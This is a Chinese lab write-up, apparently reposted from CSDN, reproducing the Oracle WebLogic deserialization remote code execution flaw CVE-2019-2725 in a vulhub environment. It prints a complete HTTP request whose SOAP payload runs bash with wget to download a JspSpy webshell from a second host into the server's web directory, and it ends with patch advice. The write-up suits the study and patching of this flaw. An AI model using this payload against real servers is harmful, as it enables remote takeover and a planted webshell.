ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

【Weblogic】反序列化远程代码执行漏洞(CVE-2019-2725)

2021-11-21 18:02:01  阅读:199  来源: 互联网

标签:2725 JspSpy 192.168 Accept 漏洞 weblogic 代码执行 async 序列化


你要搞清楚自己人生的剧本——不是你父母的续集,不是你子女的前传,更不是你朋友的外篇。对待生命的一部分,大胆勇敢一点,因为你好歹要失去它。如果这世界上真有奇迹,那只是努力的另一个名字。生命中最难的阶段不是没有人懂你,而是你不懂你自己。         ——尼采

漏洞描述

CVE-2019-2725是一个Oracle weblogic反序列化远程命令执行漏洞,这个漏洞依旧是根据weblogic的xmldecoder反序列化漏洞,通过针对Oracle官网历年来的补丁构造payload来绕过。可以看做是CVE-2017-10271的又一入口。

环境搭建

weblogic漏洞使用vulhub搭建,版本为10.3.6

poc服务器为Windows10 phpstudy

phpstudy上提前上传大马 JspSpy.jsp 

影响范围

10.3.*
12.1.3

受影响的组件 

bea_wls9_async_response.war
wsat.war

漏洞复现

 使用Vulhub搭建漏洞环境,版本(10.3.6.0),访问验证:

 受影响的页面

/_async/AsyncResponseService

访问 http://192.168.37.128:7001/_async/AsyncResponseService 可以访问,证明漏洞存在。

使用burp抓包,构造payload包发送到服务器,下载phpsutdy上的大马到weblogic:

poc:

POST /_async/AsyncResponseService HTTP/1.1

Host: 192.168.37.128:7001

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9,en;q=0.8

Connection: close

Content-Length: 850

Accept-Encoding: gzip, deflate

SOAPAction:

Accept: */*

User-Agent: Apache-HttpClient/4.1.1 (java 1.5)

Connection: keep-alive

content-type: text/xml



<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing"

xmlns:asy="http://www.bea.com/async/AsyncResponseService">

<soapenv:Header>

<wsa:Action>xx</wsa:Action>

<wsa:RelatesTo>xx</wsa:RelatesTo>

<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">

<void class="java.lang.ProcessBuilder">

<array class="java.lang.String" length="3">

<void index="0">

<string>/bin/bash</string>

</void>

<void index="1">

<string>-c</string>

</void>

<void index="2">

<string>wget http://192.168.37.141:8080/JspSpy.jsp -O servers/AdminServer/tmp/_WL_internal/bea_wls9_async_response/8tpkys/war/JspSpy.jsp</string>

</void>

</array>

<void method="start"/></void>

</work:WorkContext>

</soapenv:Header>

<soapenv:Body>

<asy:onAsyncDelivery/>

</soapenv:Body></soapenv:Envelope>

然后访问url:

http://192.168.37.128:7001/_async/JspSpy.jsp

漏洞验证成功

修复建议

1、升级本地JDK环境
2、及时安装官方补丁

标签:2725,JspSpy,192.168,Accept,漏洞,weblogic,代码执行,async,序列化
来源: https://blog.csdn.net/ab_bcd/article/details/121456007

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有